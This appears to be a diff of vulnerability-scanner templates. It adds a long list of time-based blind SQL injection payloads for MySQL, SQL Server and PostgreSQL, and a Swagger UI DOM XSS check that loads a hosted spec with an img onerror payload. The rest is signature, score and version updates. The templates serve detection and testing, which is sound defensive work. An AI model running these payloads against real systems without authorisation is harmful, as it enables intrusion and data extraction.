    epss-percentile: 0.99668
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast

@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4b0a00483046022100f5fcacc5989901a485f707e1e046c0bb430448747aa9d1753933a28c4d863e75022100bf1a25c7f01875384e8ce50fdb752faf2f3d5336ede7c0491f8f74852d678a7d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100982f2b65afa11c4113a1c937d0e0c157b236d7414622bd1e26e903d042e50949022100ce852c63c7c449a66c53722a65379f5fdedee549a38679abfe6dc2f6e5fd0a91:922c64590222798bb761d5b6d8e72950
@@ -2,10 +2,10 @@ id: time-based-sqli

 info:
  name: Time-Based Blind SQL Injection
-  author: 0xKayala
+  author: 0xKayala,Jaenact
  severity: critical
  description: |
-    This Template detects time-based Blind SQL Injection vulnerability
+    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
  tags: time-based-sqli,sqli,dast,blind

 flow: http(1) && http(2)
@@ -29,12 +29,87 @@ http:

    payloads:
      injection:
+        # MySQL / MariaDB
        - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        - "if(now()=sysdate(),SLEEP(7),0)"
        - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
+        - "sleep(7)#"
+        - "1 or sleep(7)#"
+        - "\" or sleep(7)#"
+        - "' or sleep(7)#"
+        - "\" or sleep(7)=\""
+        - "' or sleep(7)='"
+        - "1) or sleep(7)#"
+        - "\") or sleep(7)=\""
+        - "') or sleep(7)='"
+        - "1)) or sleep(7)#"
+        - "\")) or sleep(7)=\""
+        - "')) or sleep(7)='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))bAKL) AND 'vRxe'='vRxe"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))YjoC) AND '%'='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)--"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)#"
+        - "SLEEP(7)#"
+        - "SLEEP(7)--"
+        - "SLEEP(7)=\""
+        - "SLEEP(7)='"
+        - "or SLEEP(7)"
+        - "or SLEEP(7)#"
+        - "or SLEEP(7)--"
+        - "or SLEEP(7)=\""
+        - "or SLEEP(7)='"
+        - "AnD SLEEP(7)"
+        - "AnD SLEEP(7)--"
+        - "AnD SLEEP(7)#"
+        - "&&SLEEP(7)"
+        - "&&SLEEP(7)--"
+        - "&&SLEEP(7)#"
+        - "' AnD SLEEP(7) ANd '1"
+        - "'&&SLEEP(7)&&'1"
+        - "ORDER BY SLEEP(7)"
+        - "ORDER BY SLEEP(7)--"
+        - "ORDER BY SLEEP(7)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)--"
+        - "+ SLEEP(7) + '"
+        - "SLEEP(7)/*' or SLEEP(7) or '\" or SLEEP(7) or \"*/"
+
+        # SQL Server
+        - ";waitfor delay '0:0:7'--"
+        - ");waitfor delay '0:0:7'--"
+        - "';waitfor delay '0:0:7'--"
+        - "\";waitfor delay '0:0:7'--"
+        - "');waitfor delay '0:0:7'--"
+        - "\");waitfor delay '0:0:7'--"
+        - "));waitfor delay '0:0:7'--"
+        - "'));waitfor delay '0:0:7'--"
+        - "\"));waitfor delay '0:0:7'--"
+        - "waitfor delay '00:00:07'"
+        - "waitfor delay '00:00:07'--"
+        - "waitfor delay '00:00:07'#"
+
+        # PostgreSQL
+        - "pg_sleep(7)--"
+        - "1 or pg_sleep(7)--"
+        - "\" or pg_sleep(7)--"
+        - "' or pg_sleep(7)--"
+        - "1) or pg_sleep(7)--"
+        - "\") or pg_sleep(7)--"
+        - "') or pg_sleep(7)--"
+        - "1)) or pg_sleep(7)--"
+        - "\")) or pg_sleep(7)--"
+        - "')) or pg_sleep(7)--"
+        - "pg_SLEEP(7)"
+        - "pg_SLEEP(7)--"
+        - "pg_SLEEP(7)#"
+        - "or pg_SLEEP(7)"
+        - "or pg_SLEEP(7)--"
+        - "or pg_SLEEP(7)#"

    fuzzing:
      - part: query
@@ -44,8 +119,9 @@ http:
          - "{{injection}}"

    stop-at-first-match: true
+
    matchers:
      - type: dsl
        dsl:
          - "duration>=7 && duration <=16"
-# digest: 4a0a004730450220221817cdddedb8336ddb4afc4476f70da46a0dfb726a703a5e748458ae5bef000221009ebe3675d3fd10bf29161c179bd9b317b01f18643c2f8a6731ed9d89569495cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 4a0a0047304502204c96924e0e528852de3c589165358770b3b0904c24de0cfeae5f9445594f59da022100e96002e2f5262ff59cd136f59234538c2ba03610128b81fa105966e180cef574:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4d9c05c1396ac0c34336a9bb7b17f19ac3556e465b7904be87853adf2e9e7a502207c85579bbe7e3320884d8dea255fa0d72788e2a45d2a94a09c2d49510f78838b:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4a0a00473045022100c8c1004f8969944f8ba245b06ac66eb77df2b45816ecf321de8d292ba0d08dfb02203742ccd6e6c54965dd0568714fd4321444333e6d2a4d6e79e2e6942f9219667c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202fb53ebbe29788068825360dba8c06e54cc8f4a2ac5e7f346eeabdcdfabdfad5022100df8b95fe430aa4a44205d5effceac18cd46df4b0e1a419b9059b255b77366708:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a00473045022016cde7a819ca06911d870eaf4bceddb84b7e5239fd3968819c39045e5798f05e022100ef570ca9c030b744829ce5f6e94e8f87e5c0dacdb6c5b77039d3111851a3c7f1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ac406799464af8550e10fdd4c062d75931d9c66f2b7a95be520dab3138a4d49702210085702c7a832fa1f4592fad7f66e5e2b0b195136e99b304f54faa8fec7cc950f6:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4b0a00483046022100e148eb3783e8dbc8c782d1fa2ea7d1f1e2950c39a4ba47399cce9c31233661c8022100dcd8e84f9dd9c236d9e12d02b8374566582ec5e00120eff347bd3eb304afd350:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f1b3a114636c3671c2371943a21af39d47b1d6da9c3a1c5598313cddd9edc7d2022100c7ed5d15f86791a48d6dd3f3e4927d1234452572dbc5294595d4f0919ea548e4:922c64590222798bb761d5b6d8e72950
@@ -1,18 +1,18 @@
 id: txt-service-detect

-info:
-  name: DNS TXT Service - Detect
-  author: rxerium
-  severity: info
-  description: |
-    Finding the services companies use via their TXT records.
-  reference:
-    - https://www.abenezer.ca/blog/services-companies-use-txt-records
-  metadata:
-    verified: true
-    max-request: 1
-  tags: dns,txt
-
+info:
+  name: DNS TXT Service - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Finding the services companies use via their TXT records.
+  reference:
+    - https://www.abenezer.ca/blog/services-companies-use-txt-records
+  metadata:
+    verified: true
+    max-request: 1
+  tags: dns,txt,txt-service
+
 dns:
  - name: "{{FQDN}}"
    type: TXT
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 4a0a00473045022100e9c9533abd6b10f188508cc7d12cdd19ca74fc82dd2f0d1ef5b0b716652374fe02201d7fefee59bfa97631278691b358ec64226e8802aa37ea57fff5bdba19e64c4a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fcb65f2e2435963fb8a6dd712e258f1e3dacbb42d01153b0dc7c2a2070b979b022100954a3427ccac0026ca5f1d0cdc888120945715304b8482c307db838b296108e2:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a004730450220299f6e20fe0793afb93fb66157d56b4e05c2c487489bb13e0a144bd5c78cb31f0221008a78578f10ba21a15eb47eaea8897bf4a8c6097e3f9d1260aff9f3d7b6bc1969:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220322abb2656c37aada852ddb22b68e62f3f119714962a9aee072e7043a8452d94022100ad61f9fb95bb2b87ba8d81c6664105c72d8fc70f702c3fc1073f9fedea9442ef:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 490a004630440220385c5cf126ccb8948cab2d301413aeb6493fe0e751e0b0409943cc7df39416a0022037de87a60f75e61281a214cc29ce5b8385857ff96ff512495266be48f4890974:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa4175c41bc3a26ec5e47bc5cae88dc7cc098a7e68e663cb19340ff5213f7de3022100fb12f6285f7cb084433ae2b47087ac6d5f7675d9d520e2e0f58f0a514348a895:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221009936569a7b2b8663588d6fd7be9de334aa917d4470ee11349c6bd01c0da8c98b02210096bdca1b3716d60f65c1aa614ebbecd33d7b02cddeb170d47014fc32bf5ecf2c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204205f198e97498124c58fe77fe78c5d15900d87a10f9a80c25c0f28f22544f6e02205f70155714fecd7e082f95ab6d8ab3b070348180df5d0bb60fd47efd9dad0a7c:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.81869
+    epss-score: 0.82878
    epss-percentile: 0.99147
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
@@ -54,4 +54,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022100a2f7e5ac70597ad87663ef0c9ad4bee161a599d2e03938161ace1128046c9b20022046775d61a5e4cae1d9c124ef010c9e100dcf6f7b6b078485fc0fe735de5c59d6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009aeabef438a58bf3836d81dfd29b471e543e948f670793238652ebdad6be4a75022100e4eefab1496063a33f82cb64d5d7721ada3a18f5cee561ec49c9943629968c94:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.02012
+    epss-score: 0.01812
    epss-percentile: 0.82957
  metadata:
    verified: true
@@ -46,4 +46,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 490a0046304402206cddf49edf926f4a2fc79e6bc3d44c28d92452607fab4a78c546667823eea63e022078814f733d0906b711afdbd5826bb664f3171ae8c38e5d175d567d52c877d89c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cb7c065d3d1f46a4311cdb471f6afe0f117d06bd60e805b0bc9f9cc974e10e9b022100d35eebc647e75db583d63d38016762baa3cc84652e810fee9ffad89a73529094:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.66721
+    epss-score: 0.56332
    epss-percentile: 0.98451
  tags: cve,cve2024,supply-chain,polyfill
 headless:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4b0a00483046022100db8ee4bad1a3f649738173744c0b13228813c8f6149eed8ce1b9428955372d7a0221009d6fdcfee495e43dc703fb4ae3f9b8928359673160b77f0da6b553db315ad3d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201096d64f0fcf071cac45f34f69eccfd1fd4d2c8fcdd0f798a63445b2895b468f022100c0494cc5abb2e052bb11f4437b5cc9919bfb400794a8cc6a3c62e5d35129fcca:922c64590222798bb761d5b6d8e72950
@@ -10,6 +10,8 @@ info:
    - https://www.tenable.com/plugins/was/114609
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
+  classification:
+    epss-score: 0.03071
  metadata:
    verified: true
    max-request: 1
@@ -39,4 +41,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4a0a00473045022000b042f51608cca47a2a1f7bb177f443e5aab2d7922d69d7f2b66d68888cb7fc0221009e736ccd5e74d05842fa56a943949cc17d330fb501505a2beec0c400eca3adf0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036e53f3f929e789da67d5b1394060a391c996d197d5b92b89b1a29ba6c4a0551022100c6a0eb7e423745b36411a672f943bb1c1f83c7d6009b0d78cabf6b06038533cd:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
-    epss-score: 0.38601
+    epss-score: 0.25298
    epss-percentile: 0.97094
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
@@ -186,4 +186,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4a0a00473045022100a5afa1435b236d15615599536490803e61d1c57bd159c9b2a6d7c074e3204e3302207728ec9bdeffa792d62a6f7de273d13f778a88f935ffbeefb406321f35b0d011:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b90b74395a05943022b84862855923ed3f0d4ebd88dae181f555ee333429af2d022016c375dd01704289bd1812300bd3573d66977fdad60d7e984566111ed7b7ffa6:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,68 @@
+id: CVE-2025-8191
+
+info:
+  name: Swagger UI >=3.14.1 < 3.38.0 - DOM Based Cross-Site Scripting
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Swagger UI versions 3.14.1 through 3.37.x are vulnerable to DOM-based Cross-Site Scripting (XSS) attacks. The vulnerability occurs when processing malicious configuration URLs that contain XSS payloads in the Swagger specification. An attacker can craft a malicious configUrl parameter that, when processed by Swagger UI, executes arbitrary JavaScript code in the victim's browser context.
+  reference:
+    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-8191
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-8191
+    cwe-id: CWE-79
+    epss-score: 0.00123
+    epss-percentile: 0.47832
+    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: smartbear
+    product: swagger_ui
+    shodan-query:
+      - http.component:"Swagger"
+      - http.component:"swagger"
+      - http.favicon.hash:"-1180440057"
+    fofa-query: icon_hash="-1180440057"
+    zoomeye-query: app:"Swagger UI"
+  tags: cve,cve2025,headless,swagger,xss,smartbear,dom-xss
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'api-docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'open-api/swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4a0a00473045022100e2a4a3fed035f075e45d529f75afaffaa15181fa41c9748785999177f38e67680220766f028a5fb4bed8042fc56cef4af654f2760e1207a0246bbd11db1bf1e720f0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,9 @@
+{
+  "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+  "urls": [
+      {
+          "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+          "name": "Account"
+      }
+  ]
+}
@@ -0,0 +1,29 @@
+swagger: '2.0'
+info:
+  title: Classic API Resource Documentation
+  description: |
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
+
+paths:
+  /signin:
+    post:
+      parameters:
+        - name: Email
+          in: formData
+          required: true
+          type: string
+        - name: password
+          in: formData
+          required: true
+          type: string
+        - name: token
+          in: formData
+          required: true
+          type: string
+      responses:
+        '200':
+          description: Success Request
+      tags:
+        - signin
+      operationId: Signin
+      summary: Signin
@@ -1 +1 @@
-1.13.1
+1.14
@@ -1 +1 @@
-6.4.2
+6.4.3
@@ -1 +1 @@
-5.4
+5.5
@@ -1 +1 @@
-4.8.4.1
+4.8.5
@@ -1 +1 @@
-7.96
+7.97
@@ -1 +1 @@
-5.4.1
+5.4.2
@@ -1 +1 @@
-2.11.7
+2.11.8
@@ -1 +1 @@
-4.4.29
+4.4.32
@@ -1 +1 @@
-1.4.6
+1.4.7
@@ -1 +1 @@
-5.2.3
+5.3.1
@@ -1 +1 @@
-9.3.9
+9.3.10
@@ -1 +1 @@
-2.2.15
+2.2.16
@@ -1 +1 @@
-4.25
+4.26
@@ -1 +1 @@
-2.1.7
+3.0.0
@@ -1 +1 @@
-1.5.12
+1.5.13
@@ -1 +1 @@
-3.30.2
+3.30.3
@@ -1 +1 @@
-3.5.4
+3.5.6
@@ -1 +1 @@
-6.2.0
+6.2.1
@@ -1 +1 @@
-8.1.4
+8.2.0
@@ -1 +1 @@
-1.19.5
+1.19.6
@@ -1 +1 @@
-2.5
+2.6
@@ -1 +1 @@
-5.0.2
+5.1.0
@@ -1 +1 @@
-6.22.2
+6.22.3
@@ -1 +1 @@
-1.44.3
+1.45.1
@@ -1 +1 @@
-8.6.2
+8.7.1
@@ -1 +1 @@
 .13.1
 .14
@@ -1 +1 @@
 .4.2
 .4.3
@@ -1 +1 @@
 .4
 .5
@@ -1 +1 @@
 .8.4.1
 .8.5
@@ -1 +1 @@
 .96
 .97
@@ -1 +1 @@
 .4.1
 .4.2
@@ -1 +1 @@
 .11.7
 .11.8
@@ -1 +1 @@
 .4.29
 .4.32
@@ -1 +1 @@
 .4.6
 .4.7
@@ -1 +1 @@
 .2.3
 .3.1